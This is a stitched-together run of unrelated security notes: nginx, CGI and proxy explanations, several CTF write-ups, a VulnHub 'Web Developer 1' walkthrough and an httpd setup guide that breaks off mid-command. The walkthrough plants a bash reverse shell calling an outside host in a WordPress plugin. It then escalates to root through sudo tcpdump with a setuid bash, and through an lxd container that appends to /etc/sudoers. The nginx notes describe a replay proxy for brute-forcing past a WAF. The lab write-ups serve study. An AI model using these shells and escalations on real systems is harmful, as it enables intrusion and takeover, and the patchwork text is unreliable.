-A INPUT -i eth0 -p tcp -s 192.168.2.138 --dport 9000 -j ACCEPT iptables -A OUTPUT -o eth0 -p tcp -d 192.168.2.138 --sport 9000 -j ACCEPT iptables -A INPUT -i eth0 -p tcp --dport 9000 -j DROP ``` > For the most part, lack of CGI support in Nginx is not an issue and actually has an important side-benefit: because Nginx cannot directly execute external programs (CGI), a malicious person can't trick your system into uploading and executing an arbitrary script. 如果使用php-cgi 作为PHP解析器,虽然均采用root 权限操作命令启动进程,但Nginx默认会降权到nobody普通用户,但是php-cgi不会,此时的危害就很大了,当攻击者上传webshell,那webshell就是root权限。千万不要认为Nginx降权运行了,php也会降权,毕竟解析php的是php-cgi进程。这里为什么突出说php-cgi 有这种问题,而没有说php-fpm,那是因为php-fpm 的配置文件默认已设置进程运行用户为nobody。 ## 二、CGI的概念、PHP 动态语言 CGI 不是一种语言,也不是一种技术,而是一种模式。搜索一下CGI的定义`Common Gateway Interface`,简称CGI。在物理上是一段程序,存放在服务器上。只要是提供数据输出的服务器端程序都可以叫CGI,ASP/PHP/JSP这些都可以认为是,你用C/C++写一个可以提供数据输出的服务器端bin文件也叫CGI,至于python/perl/shell 等脚本当然也能写cgi。 对一个 CGI 程序,做的工作其实只有:从环境变量(environment variables)和标准输入(standard input)中读取数据、处理数据、向标准输出(standard output)输出数据。环境变量中存储的叫 Request Meta-Variables,也就是诸如 `QUERY_STRING`、`PATH_INFO` 之类的东西,这些是由 Web Server 通过环境变量传递给 CGI 程序的,CGI 程序也是从环境变量中读取的。 标准输入中存放的往往是用户通过GET 或者 POST 提交的数据,这些数据也是由 Web Server 传过来的(客户端提交)。传统的get 即是以 `url?key1=value1&key2=value2`的 形式传输过去。而post 形式(http请求包体)就比较多了,可以是传统的key=value,也可以是json/xml 等形式,只是这些从标准输入得到后还需要经过一个解析的过程才能得到想要的key=value 形式的呈现。 注意标准输入的概念,如果在本地执行 `php xx.php args` , 那么 xx.php 的标准输入就是控制命令窗口,获取输入需要通过 $argv;如果是通过 uri 路径访问 xx.php 如 `http://localhost/xx.php` , 那么 xx.php 的标准输入来自 webserver 给的数据,可以通过 php://input 获取。 当然cgi 的body输出也是多种形式了,可以是简单的application/json、text/xml 形式,也可以是php echo 出一个text/plain or text/html,但要明确的是php 等脚本是在服务器端执行的,也就是说当客户端访问test.php 时,server 先执行php脚本(php 会 读取标准输入,处理过程,向标准输出输出数据),形象地来说,就是“戳一次就动一次”,根据用户输入的不同而产生不同的输出结果,即动态网页的概念。注意:php、js、css 都可以和html 标签写在同个文件中。 如前所述,php 是作为 cgi 脚本还是作为一个模块被解析,取决于服务器的配置。 ## 三、代理服务器 ### nginx 正向代理服务器的配置: ``` worker_processes 1; events { worker_connections 1024; } http { include mime.types; sendfile on; resolver 208.67.220.220; server { listen 81; location / { # 因为所有的地址都以 / 开头,所以这条规则将匹配到所有请求 # 但是正则和最长字符串会优先匹配 # 比如 curl "http://www.qq.com/index.html" -x "10.12.198.196:80" 假设还有一个 location /index.html {} # 则进入这里的处理逻辑,否则匹配到根路径 /,进入 location / {} 内的处理逻辑 # 注意: -x "10.12.198.196:80/xxxx" xxxx 并不会决定匹配到哪个 location,是http 请求包中的 GET/POST 路径来决定 proxy_pass $scheme://$http_host$request_uri; } } } ``` 回想正常的一般请求,浏览器or 客户端工具如fiddle 会先解析地址栏域名得到ip:port(没带则默认是80),进而向此 ip:port 发起 http 请求。假设现在我们在 客户端工具设置了代理为 10.12.198.196:80,而地址栏请求的是 http://www.qq.com/index.html, http 请求包(包含包头和包体)发送给 10.12.198.196:80,注意:http 请求包还是原始的情况,如 ``` POST http://www.qq.com/index.html HTTP/1.1 User-Agent : Fiddler Host: www.qq.com Content-Length: xxx .....(post 数据)... ``` (注:Host 头一般用来区分1 个 ip 上配置了两个 virtual host name 的情形) 如果 10.12.198.196 上的 nginx.conf 配置了代理转发如 proxy_pass,则会将此请求包转发给真正 www.qq.com 的服务器。接着从其获取请求返回内容,再转发给 客户端。此时 www.qq.com 的服务器会认为请求来自于 10.12.198.196,当然也可以在 代理中设置请求头 `proxy_set_header X-Real-IP $remote_addr;` 这样 qq 服务器通过请求头可以知道真正的请求来自哪里。此时 qq 服务器配置文件可能需要改下 LogFormat(X-Real-IP),才能在 log 文件中打印真正的客户端 ip。 正向代理 是一个位于客户端和原始服务器(origin server)之间的服务器,为了从原始服务器取得内容,客户端向代理发送一个请求并指定目标(原始服务器),然后代理向原始服务器转交请求并将获得的内容返回给客户端,客户端必须要进行一些特别的设置才能使用正向代理。 注意:nginx 作为 web server 时当然是可以处理 ssl 的,但作为 正向proxy 则是不行的。因为 nginx 不支持 CONNECT,收到客户端发来的 "CONNECT /:443 HTTP/1.1" 后会报一个包含 `client sent invalid request while reading client request line` 的错误。因为 CONNECT 是正向代理的特性,据说也没有计划支持。 nginx 当正向代理的时候,通过代理访问https的网站会失败,而失败的原因是客户端同nginx代理服务器之间建立连接失败,并非nginx不能将https的请求转发出去。因此要解决的问题就是客户端如何同nginx代理服务器之间建立起连接,有了这个思路之后,就可以很简单的解决问题。我们可以配置两个SERVER 端口节点,一个处理HTTP转发,另一个处理HTTPS转发,而客户端都通过HTTP来访问代理,通过访问代理不同的端口,来区分HTTP和HTTPS请求。 我们可以自己用 ngx-lua 实现一个正向代理服务器,在 lua 代码中获取原始请求(可以修改一些参数/headers)并转发,假设目标站点有waf,绕过率只有10万分之一,那么可以让lua 逻辑中判断返回码是否是某个特定返回码,如果是则重放请求,直到返回码非特定响应码,这时候才把返回页面给到请求方,这样用浏览器挂这个ngx-lua 代码就能自动实现暴力绕waf。为了使ngx-lua 代理支持https,客户端可以将https 请求当作http 请求来发送,但附带一个头task_scheme:https,这样ngx-lua 在代码逻辑中取到scheme 为 task_scheme,即可知道这是https 请求。 对于 nat 作用 的路由器来说,原始数据包的目的ip 不是路由器,但它重写了数据包的源ip 为路由器的出口ip,在目标主机回包后重写目的ip 为 路由器下联的内网机器ip。注意除非NAT路由器管理者预先设置了规则,否则从外部网络主动建立的连接,送来的数据包将不能到达正确的目的内网ip地址。 对于代理机器来说,原始数据包的目的ip 就是代理机器,不过因为它的配置文件设置了转发规则,故可以重新发起源ip 为自身,目的ip 为 dns 解析到的目标主机ip的请求包(这就是为什么客户端配置了代理,则客户端上配置的host文件不生效的原因,因为最终请求的目的主机ip 由代理机器经过dns解析获得;当然如果是本地的代理比如127.0.0.1:8080,还是会先看本地host文件而生效)。收到目标主机回包后,代理机器重新发起源ip 为自身,目标ip 为配置了代理的请求客户端ip的请求包。 `curl -i "http://www.qq.com/index.html" -x "59.37.96.63:80"` 在 63 机器没有配置代理转发规则时,是一个简便设置访问域名www.qq.com 具体某个host的命令。 另一方面,waf 在拦截恶意扫描请求时,获取到的 ip(通过解开四层tcp/ip包获取到src ip) 可能是代理机器的ip 或者 路由器出口网关的 ip,特别是网关ip,如果直接进行打击,可能会伤及无辜,即同在一个局域网出口下联的机器都会被限制访问。 ### nginx 反向代理服务器的配置: ``` upstream test.net { ip_hash; # 默认为轮询,还有 ip_hash, fair, url_hash 等策略 # 注:当负载调度算法为ip_hash时,后端服务器在负载均衡调度中的状态不能是weight和backup。 server 192.168.10.13:80; server 192.168.10.14:80 down; server 192.168.10.15:8009 max_fails=3 fail_timeout=20s; server 192.168.10.16:8080; } server { location / { proxy_pass http://test.net; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } } ``` `X-Forwarded-For: client1, proxy1, proxy2` 其中的值通过一个 逗号+空格 把多个IP地址区分开, 最左边(client1)是最原始客户端的IP地址, 代理服务器每成功收到一个请求,就把请求来源IP地址添加到右边。 在上面这个例子中,这个请求成功通过了三台代理服务器:proxy1, proxy2 及 proxy3。请求由client1发出,到达了proxy3(proxy3可能是请求的终点) $http_x_forwarded_for 是Nginx上一跳的请求中的X-Forwarded-For 内容,$remote_addr 是Nginx 上一跳的ip, 而 $proxy_add_x_forwarded_for=$http_x_forwarded_for,$remote_addr 假设现在有两个代理,第一个代理发出的请求中 上一跳 X-Forwarded-For 为空,而$remote_addr 为 client_ip ,故 X-Forwarded-For 头为 client_ip; 第二个代理发出的请求中,X-Forwarded-For 为 client_ip,而$remote_addr 为proxy1,故 X-Forwarded-For : client1, proxy1 如果用户在发起请求时设置了 X-Forwarded-For 头的值,则第一跳时X-Forwarded-For 不为空,即 现在情况是 X-Forwarded-For : user-set, client1, proxy1 故后端逻辑取真实用户ip 时 需要看经过多少层代理,只经过一层取从右到左倒数第一个ip,经过两层则是倒数第二个。 我们这里只测试两层,实际链路为: 10.100.11.25(client)->10.200.21.34(Proxy)->10.200.21.33(Proxy)->10.200.21.32(Web Server) Curl 命令: curl http://10.200.21.34:88/test.php -H 'X-Forwarded-For: unkonw, <8.8.8.8> 1.1.1.1' -H 'X-Real-IP: 2.2.2.2' 两层代理的情况下结果为: [HTTP_X_FORWARDED_FOR] => unkonw, <8.8.8.8> 1.1.1.1, 10.100.11.25, 10.200.21.34 [REMOTE_ADDR] => 10.200.21.33 // php $_SERVER['REMOTE_ADDR'] || apache中的cgi中getenv['REMOTE_ADDR'] [HTTP_X_REAL_IP] => 10.200.21.34 upstream是Nginx的HTTP Upstream 模块,这个模块通过一个简单的调度算法来实现客户端IP到后端服务器的负载均衡。在上面的设定中,通过upstream指令指定了一个负载均衡器的名称test.net。这个名称可以任意指定,在后面需要用到的地方直接调用即可。 假设现在我们访问的是 192.168.10.12:80,实际上它会将http请求包转发给其他可以获取内容的某台机器上。 反向代理正好相反,对于客户端而言它就像是原始服务器,并且客户端不需要进行任何特别的设置。客户端向反向代理的命名空间(name-space)中的内容发送普通请求,接着反向代理将判断向何处(原始服务器)转交请求,并将获得的内容返回给客户端,就像这些内容原本就是它自己的一样。 注意:nginx 作为代理转发数据包时可能会对请求头做一些修改,比如 修改 Host,增加 proxy_set_header 增加的一些头,忽略值为空串的头,忽略下划线 '&#95;' 开头的头,`Connection: close` 。 ### 识别代理服务器 识别一个IP是不是代理IP,常见的是如下四种: 1. 反向探测技术:扫描IP是不是开通了80、8080等代理服务器经常开通的端口,显然一个普通的用户IP不太可能开通如上的端口。 2. HTTP头部的X_Forwarded_For:开通了HTTP代理的IP可以通过此法来识别是不是代理IP;如果带有XFF信息,该IP是代理IP无疑。 3. Keep-alive报文:如果带有Proxy-Connection的Keep-alive报文,该IP毫无疑问是代理IP。 4. 查看IP上端口:如果一个IP有的端口大于10000,那么该IP大多也存在问题,普通的家庭IP开这么大的端口几乎是不可能的。 ## Reference [C++ Web Programming](https://www.tutorialspoint.com/cplusplus/cpp_web_programming.htm)
sec-knowleage
# Blinkenlights (rev, 242p, 15 solves) > I built something that prints the flag. But I lost the flag :( > > Difficulty: medium In this task we got a binary firmware for ARM architecture, and a 400MB CSV containing oscilloscope traces of a channel. Initially I wasted a couple hours trying to reverse engineer the binary, but it turned out that I was able to solve the challenge using just the CSV, i.e. in a black box way. The CSV had two integer columns: `sample` and `channel 1`, but the second column seemed to alternate between 0 and 1, so it did not contain any information for us. Probably it's because the oscilloscope was compressing the signal using algorithm similar to run length encoding. This means we are only interested in the first column. I've preprocessed it to calculate the difference between two consecutive times and noticed that the times corresponding to "1" state are always quite short compared to the other ones - and the "0" times are varying in length. So there's probably some kind of message encoded in time between pulses. After excluding several very long (~100 times longer than average) times - they seem to be some kind of synchronization, not needed for us - I've multiplied every sample by ten and stored as greyscale imaage, hoping to notice some pattern. It turned out that setting width to 6144 (guessed) we can notice some barely readable text - a flag! ![img](L6144.png)
sec-knowleage
# Behind Blue Eyes Category: Warmup, 20 Points ## Description > Not everything meets the eye A zip file was attached. ## Solution Let's unzip the archive: ```console root@kali:/media/sf_CTFs/matrix/BehindBlueEyes# unzip BehindBlueEyes.zip Archive: BehindBlueEyes.zip inflating: 0.jpeg inflating: 1.jpeg inflating: 10.jpeg inflating: 11.jpeg inflating: 2.jpeg inflating: 3.jpeg inflating: 4.jpeg inflating: 5.jpeg inflating: 6.jpeg inflating: 7.jpeg inflating: 8.jpeg inflating: 9.jpeg ``` We get 12 images, all containing what seems to be the same blue eye. Studying the metadata, we see that there's some difference between different images: ```console root@kali:/media/sf_CTFs/matrix/BehindBlueEyes# diff <(exiftool 0.jpeg) <(exiftool 1.jpeg) 2c2 < File Name : 0.jpeg --- > File Name : 1.jpeg 16c16 < Make : F --- > Make : L ``` The `Make` seems suspicious, let's read it for all files: ```console root@kali:/media/sf_CTFs/matrix/BehindBlueEyes# for i in {0..11}; do exiftool $i.jpeg | grep Make | awk '{ printf $3 }'; done && echo FLAG_THE_WHO ```
sec-knowleage
# Web Developer 1 下载地址:https://download.vulnhub.com/webdeveloper/WebDeveloper.ova ## 实战演练 找到靶场IP地址:`192.168.32.155` ![image-20220612151053323](../../.gitbook/assets/image-20220612151053323.png) 扫描对外端口 ``` ┌──(root💀kali)-[~/Desktop] └─# nmap -sT -sV -p1-65535 192.168.32.155 Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-12 03:28 EDT Nmap scan report for 192.168.32.155 Host is up (0.0015s latency). Not shown: 65533 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) MAC Address: 00:0C:29:7E:24:50 (VMware) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.90 seconds ``` 浏览器访问80端口 ![image-20220612152857392](../../.gitbook/assets/image-20220612152857392.png) 扫描web目录,找到系统是wordpress和`ipdata`目录 ![image-20220612153131597](../../.gitbook/assets/image-20220612153131597.png) ![image-20220612153151167](../../.gitbook/assets/image-20220612153151167.png) 分析数据包找到一个账号密码:`webdeveloper/Te5eQg&4sBS!Yr$)wf%(DcAd` ``` log=webdeveloper&pwd=Te5eQg%264sBS%21Yr%24%29wf%25%28DcAd&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.1.176%2Fwordpress%2Fwp-admin%2F&testcookie= ``` > log=webdeveloper&pwd=Te5eQg&4sBS!Yr$)wf%(DcAd&wp-submit=Log+In&redirect_to=http://192.168.1.176/wordpress/wp-admin/&testcookie= ![image-20220612153456206](../../.gitbook/assets/image-20220612153456206.png) 登录WP后台系统 ![image-20220612154200386](../../.gitbook/assets/image-20220612154200386.png) 修改WP插件加入反弹shell代码,`Plugins -> Editor -> akismet.php` ``` <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.32.130/7777 0>&1'"); ?> ``` 访问http://192.168.32.155/wp-content/plugins/akismet/akismet.php ![image-20220612154421773](../../.gitbook/assets/image-20220612154421773.png) 找到wp-config.php,发现`webdeveloper`密码为`MasterOfTheUniverse` ``` // ** MySQL settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define('DB_NAME', 'wordpress'); /** MySQL database username */ define('DB_USER', 'webdeveloper'); /** MySQL database password */ define('DB_PASSWORD', 'MasterOfTheUniverse'); /** MySQL hostname */ define('DB_HOST', 'localhost'); /** Database Charset to use in creating database tables. */ define('DB_CHARSET', 'utf8mb4'); /** The Database Collate type. Don't change this if in doubt. */ define('DB_COLLATE', ''); ``` SSH登录成功 ![image-20220612154727813](../../.gitbook/assets/image-20220612154727813.png) 查看sudo列表 ``` webdeveloper@webdeveloper:~$ sudo -l [sudo] password for webdeveloper: Matching Defaults entries for webdeveloper on webdeveloper: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User webdeveloper may run the following commands on webdeveloper: (root) /usr/sbin/tcpdump ``` ### tcpdump提权 ``` webdeveloper@webdeveloper:~$ cat /tmp/bash cp /bin/bash /tmp/sh-1 chmod u+s /tmp/sh-1 webdeveloper@webdeveloper:~$ chmod +x /tmp/bash webdeveloper@webdeveloper:~$ sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/bash -Z root dropped privs to root tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes Maximum file limit reached: 1 1 packet captured 16 packets received by filter 0 packets dropped by kernel webdeveloper@webdeveloper:/tmp$ ./sh-1 -p sh-1-4.4# id uid=1000(webdeveloper) gid=1000(webdeveloper) euid=0(root) groups=1000(webdeveloper),4(adm),24(cdrom),30(dip),46(plugdev),108(lxd) sh-1-4.4# cd /root/ sh-1-4.4# ls flag.txt sh-1-4.4# cat flag.txt Congratulations here is youre flag: cba045a5a4f26f1cd8d7be9a5c2b1b34f6c5d290 ``` ### lxd提权 使用LinEnum.sh发现一条警告 ![image-20220612160429040](../../.gitbook/assets/image-20220612160429040.png) lxd初始化 ``` webdeveloper@webdeveloper:~$ lxd init Would you like to use LXD clustering? (yes/no) [default=no]: Do you want to configure a new storage pool? (yes/no) [default=yes]: Name of the new storage pool [default=default]: Name of the storage backend to use (btrfs, dir, lvm) [default=btrfs]: Create a new BTRFS pool? (yes/no) [default=yes]: Would you like to use an existing block device? (yes/no) [default=no]: Size in GB of the new loop device (1GB minimum) [default=15GB]: Would you like to connect to a MAAS server? (yes/no) [default=no]: Would you like to create a new local network bridge? (yes/no) [default=yes]: What should the new bridge be called? [default=lxdbr0]: What IPv4 address should be used? (CIDR subnet notation, "auto" or "none") [default=auto]: What IPv6 address should be used? (CIDR subnet notation, "auto" or "none") [default=auto]: Would you like LXD to be available over the network? (yes/no) [default=no]: Would you like stale cached images to be updated automatically? (yes/no) [default=yes] Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]: ``` 初始化镜像 ``` webdeveloper@webdeveloper:~$ lxc init ubuntu:16.04 test -c security.privileged=true Creating test ``` 挂载磁盘 ``` webdeveloper@webdeveloper:~$ lxc config device add test whatever disk source=/ path=/mnt/root recursive=true Device whatever added to test ``` 启动镜像并进入镜像访问任意文件 ``` webdeveloper@webdeveloper:~$ lxc start test webdeveloper@webdeveloper:~$ lxc exec test bash root@test:~# ls root@test:~# id uid=0(root) gid=0(root) groups=0(root) ``` 在这里,我们创建了一个 lxc 容器,为其分配了安全权限,并将整个磁盘挂载到`/mnt/root`. ``` root@test:/mnt/root# ls bin home lib64 opt sbin sys vmlinuz boot initrd.img lost+found proc snap tmp vmlinuz.old dev initrd.img.old media root srv usr etc lib mnt run swap.img var ``` 修改sudoers文件提权 ``` root@test:/mnt/root# echo "%webdeveloper ALL=(ALL:ALL) ALL" >> /mnt/root/etc/sudoers ``` ![image-20230208161336251](../../.gitbook/assets/image-20230208161336251.png)
sec-knowleage
import gmpy2 from Crypto.Util.number import getRandomInteger, bytes_to_long, long_to_bytes from crypto_commons.rsa.rsa_commons import modinv def make_key(k): while True: r = getRandomInteger(k) << 2 p, q = r ** 2 + r + 1, r ** 2 + 3 * r + 1 if gmpy2.is_prime(p) * gmpy2.is_prime(q): break print(r) pubkey = r ** 6 + 5 * r ** 5 + 10 * r ** 4 + 13 * r ** 3 + 10 * r ** 2 + 5 * r + 1 # (r^2 + r + 1)^2 * (r^2 + 3*r + 1) # pubkey = p^2*q print(int(gmpy2.iroot(pubkey, 6)[0])) return pubkey def encrypt(m, pubkey): return pow(bytes_to_long(m), pubkey, pubkey) def main(): n = 3415775651990117231114868059991823731694168391465118261123541073986397702947056759501589697018682285283905893102019391953165129250445987511496328390478214156138550568081360884795196720007402795178414072586445084589188812271144227913976270609786532206307549154139514246177504313696905220271023590900584622193476455815728425827517096143262953674043805121028581660274394493861460258597130188538332977679416970808454282017991307383835356188698891323239771333178860346825972405652914210954631134409600833327693593543421410732434281694454355747008933885889869077937880862749049074740126067215284910788706518425606114203333939656875871818894784079170292840540681948732880660003000926906333894065117345867196506856521542472349855590932301830372695420851264943795112040150205561483289746364835891125359307397506516272039186039783992620965800450343112765502550149168357851547665186618429181796721954012847077634388652598794182315250366936611355658686688939934516900009808518223359241944137277154786476218874224865037819222158865245588353031015122185374014406127446401298766736266831637852985756300017995390160761028057020573055543615912481389851812757348379419397130083208775789655825117981028241260930861007152057766814139170496584713321278626253968883276653358428036897577768739458725693447122759791961361097160265922640311146274535842798727318743122276126487545827596583971543880517021741131581309905790220398409615820785382645469996656013188425862658824568438227653902664968157149269346732859000330582545267782235066499139875211275390674091559851875853548905976806413521230016513322214240509217605309858575530246251875145909490471112222194075412324792050366838359937779806344187239056856471058353548936427916942194109609165854034767323294935701500110192365307711393371247166567444590592355257900093259599574780053937287600294098393324949090038950101 enc = 172254401616728337848224556256193294668254066768665624620573955921904663415844987360305683044269987528418379305124320147209588306619600641931717574384801086412717165043339754089854945269488039157031822759552038220243667748187712406870604130874288848961422658181035116276222087495309539815379227353704980160563111860011813283093207521575802100014408033039719223557618408913808906098293389776713037943338000210957134248117986210892735617670398002934139712508431588063592442750666131635721232279579114412057382482634199793027886476451072132799009262126068858578298283046601000880559403008084425323306037979617803443696059413247270929031458924282241105950888791411422687779723342754994324724737283365077742875322607687106058784350376580745162809296384205316865766883773721914203935128431492247985755204159286761485776182149007712492892483933270120585324692872062057327390303613634093538988078627329297217605056348331910353384255935457914956221810806802338940927281542361188610818936740209620052730118914762676848436107226923154169182628394200511074094416135594725057729803618271672713265182266181460723433237689954353512385555171399460870707449024037962690482864822971633650492835486036834553508571232609988066578567702464349018675580536990329927725573108328721614238899767792645665535623446031410358844459259283846182131541439033837736746980370117933542817231688533759434901524622912254499686908606070397662874360407075300248727974071742299708009048853008697832021516188431289704110567432234451743516365186915321744582268642673156685090283640357282428092579506635927396169516769103184205482482269342855874163597222301484981530193824960936155581252590505096646005478378577133665334258562017564658379524993172647857018916805201682065829122503078635804169426240558643597061660475712949155431727872200202869508621492240387907991955060578185917725771 r = int(gmpy2.iroot(n, 6)[0]) p, q = r ** 2 + r + 1, r ** 2 + 3 * r + 1 print(gmpy2.is_prime(p)) print(gmpy2.is_prime(q)) assert n == p ** 2 * q enc = enc % (p * q) e = p * p * q fi = (p - 1) * (q - 1) d = modinv(e, fi) flag_p = gmpy2.powmod(enc, d, (p * q)) print(long_to_bytes(flag_p)) main()
sec-knowleage
# RE 100 We've started with single x86 Windows binary `GuessWhat.exe`. In disassembly we've found few initial condtions that must have been passed to fully execute the code: - Binary must be executed with at least one argument "TM" - Can't be launched under debugger because of few PEB-based anti-debugger checks leading to #DE exception (divide-by-zero). We patched off all found check-ups and executed binary under debugger. ``` Ok, now you're in :) V2hhdCBkbyB5b3Uga25vdyBhYm91dCBjaXBoZXJzPwo=????? Do you have something for me? ``` Base64-encoded string evaluates to `What do you know about ciphers?`. The correct answer passed to `strcmp` call was `rc4`. ``` A7A91F1EA45AE0BE03735A09577DA594230BDE854B Now you have the encrypted string you probably need a key, right? Take a closer look at the string functions. ``` The key was evaluated by `sub_4011E0` subroutine, which transforms `9g>csumcsu` constant to `0x7fffffff` string. ```python from malduck import rc4, unhex rc4(b"0x7fffffff", unhex("A7A91F1EA45AE0BE03735A09577DA594230BDE854B")) b'&N0wu4rEgeTTinGth3re!' ``` `GuessWhat.exe` contains encrypted ZIP file placed as `ZIP` resource inside the binary. Key found inside the binary was password needed to extract `img.jpg` file. ![img](./img.jpg) So we've got a shell ¯\\_(ツ)_/¯. After steganalysis and trying various tools popular in this kind of tasks, we've found that message was hidden using Steghide with blank password. ``` $ steghide info img.jpg "img.jpg": format: jpeg capacity: 1.6 KB Try to get information about embedded data ? (y/n) y Enter passphrase: embedded file "shell.txt": size: 1.2 KB encrypted: rijndael-128, cbc compressed: yes ``` `shell.txt` contains simple x86 shellcode which loads `user32.dll!MessageBoxA` and... shows a message. ``` "\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b" "\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b" "\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24" "\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a" "\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0" "\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c" "\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a" "\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2" "\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f" "\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52" "\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33" "\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89" "\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c" "\x24\x52\xe8\x5f\xff\xff\xff\x68\x20\x69\x74\x58\x68\x20\x67" "\x65\x74\x68\x6d\x6f\x73\x74\x68\x65\x20\x61\x6c\x68\x75\x20" "\x61\x72\x68\x65\x20\x79\x6f\x68\x20\x44\x6f\x6e\x68\x57\x65" "\x6c\x6c\x31\xdb\x88\x5c\x24\x1f\x89\xe3\x68\x58\x20\x20\x20" "\x68\x46\x42\x5a\x7d\x68\x51\x4a\x5f\x41\x68\x5a\x7b\x41\x41" "\x68\x4e\x47\x57\x4e\x31\xc9\x88\x4c\x24\x10\x89\xe1\x31\xd2" "\x6a\x30\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08"; ``` ![ollymsg](./ollymsg.png) `NGWNZ{AAQJ_AFBZ}` is ROT-6 encrypted flag: `TMCTF{GGWP_GLHF}`.
sec-knowleage
# httpd --- **Apache 与 httpd 的区别与关系** 从我们仅仅web服务器使用者的角度说的话,它们是同一个东西。在 Apache 的网站上有两种安装包下载 httpd-2.0.50-i686-pc-linux-gnu.tar.gz 和 apache_1.3.33-i686-whatever-linux22.tar.gz 其实都是提供 Web 服务的,只是一个是早期版一个是新的版本模式。 httpd 是 apache 开源项目的一部分,如果只需要 web 服务器,现在只需安装 httpd2.* 就可以了。 早期的 Apache 小组,现在已经成为一个拥有巨大力量的 Apache 软件基金会,而 apache 现在成为 apache 基金会下几十种开源项目的标识。其中有一个项目做 HTTP Server,httpd 是 HTTP Server 的守护进程,在 Linux 下最常用的是 Apache,所以一提到 httpd 就会想到 Apache HTTP Server。 他们把起家的 apache 更名为 httpd,也更符合其 http server 的特性。以前 apache 的 http server 在 1.3 的时候直接叫 apache_1.3.37,现在 2.* 版本的都叫 httpd_2.2.3。在 Linux 下最常用的是 Apache,所以一提到 httpd 就会想到 Apache HTTP Server。 --- ## 安装 **centos 安装** ```bash yum -y install httpd ``` **debian 下安装** ```bash apt-get install apache2 systemctl status apache2 # 删除 apt-get remove apache2 ``` 默认配置在 `/etc/apache2/` 目录下 配置文件说明: - apache2.conf - apache2服务器的主配置文件 - conf.d - 配置文件的附加片断 - magic - 是有关mod_mime_magic模块的数据 - ports.conf - 服务器监听IP和端口设置的配置文件 - mods-available - 一些.conf和.load 文件 - sites-available - 站点的配置文件 - /var/www - 默认情况下发布的网页文件的目录 --- ## 案例1 - 配置 http 服务,以虚拟主机的方式建立一个 web 站点; - 配置文件名为 virthost.conf,放置在 `/etc/httpd/conf.d` 目录下; - 仅监听 192.168.2.22:8080 端口; - 使用 www.abc.com 作为域名进行访问; - 网站根目录为 `/data/web_data` ; - index.html 内容使用 fubuki!!fubuki!!fubuki!!fubuki!!. **安装** ```bash yum -y install httpd yum -y install mod_ssl ``` **配置虚拟主机文件** ```bash vim /etc/httpd/conf.d/virthost.conf Listen 192.168.2.22:8080 <VirtualHost 192.168.2.22:8080> ServerName www.abc.com DocumentRoot "/data/web_data" <Directory "/data/web_data"> Require all granted </Directory> </VirtualHost> ``` index.html 内容使用 fubuki!!fubuki!!fubuki!!fubuki!! ```bash mkdir -p /data/web_data ``` ```vim vim /data/web_data/index.html fubuki!!fubuki!!fubuki!!fubuki!! ``` ```bash httpd -t # 检查配置 setenforce 0 firewall-cmd --zone=public --add-port=8080/tcp --permanent firewall-cmd --reload service httpd start ``` --- ## 案例2 ### A - 配置 http 服务,以虚拟主机的方式创建 web 站点 - 将 `/etc/httpd/conf.d/ssl.conf` 重命名为 ssl.conf.bak - 配置文件名为 virthost.conf,放置在 `/etc/httpd/conf.d` 目录下; - 配置 https 功能,https 所用的证书 httpd.crt、私钥 httpd.key 放置在 `/etc/httpd/ssl` 目录中(目录需自己创建); - 使用 www.abc.com 作为域名进行访问; - 网站根目录为 `/data/web_data` ; - 提供 http、https 服务,仅监听 192.168.1XX.22 的 IP 地址; - index.html 内容使用 fubuki!!fubuki!!fubuki!!fubuki!!; **安装** ```bash yum -y install httpd yum -y install mod_ssl ``` **配置虚拟主机文件** ```vim vim /etc/httpd/conf.d/virthost.conf <VirtualHost 192.168.1xx.22:80> ServerName www.abc.com DocumentRoot "/data/web_data" <Directory "/data/web_data"> Require all granted </Directory> </VirtualHost> Listen 192.168.1XX.33:443 <VirtualHost 192.168.1xx.22:443> ServerName www.abc.com DocumentRoot "/data/web_data" SSLEngine on SSLCertificateFile /etc/httpd/ssl/httpd.crt SSLCertificateKeyFile /etc/httpd/ssl/httpd.key <Directory "/data/web_data"> Require all granted </Directory> </VirtualHost> ``` !!!!注意,必须要改名,大坑 > mv /etc/httpd/conf.d/ssl.conf /etc/httpd/conf.d/ssl.conf.bak index.html 内容使用 fubuki!!fubuki!!fubuki!!fubuki!! ```bash mkdir -p 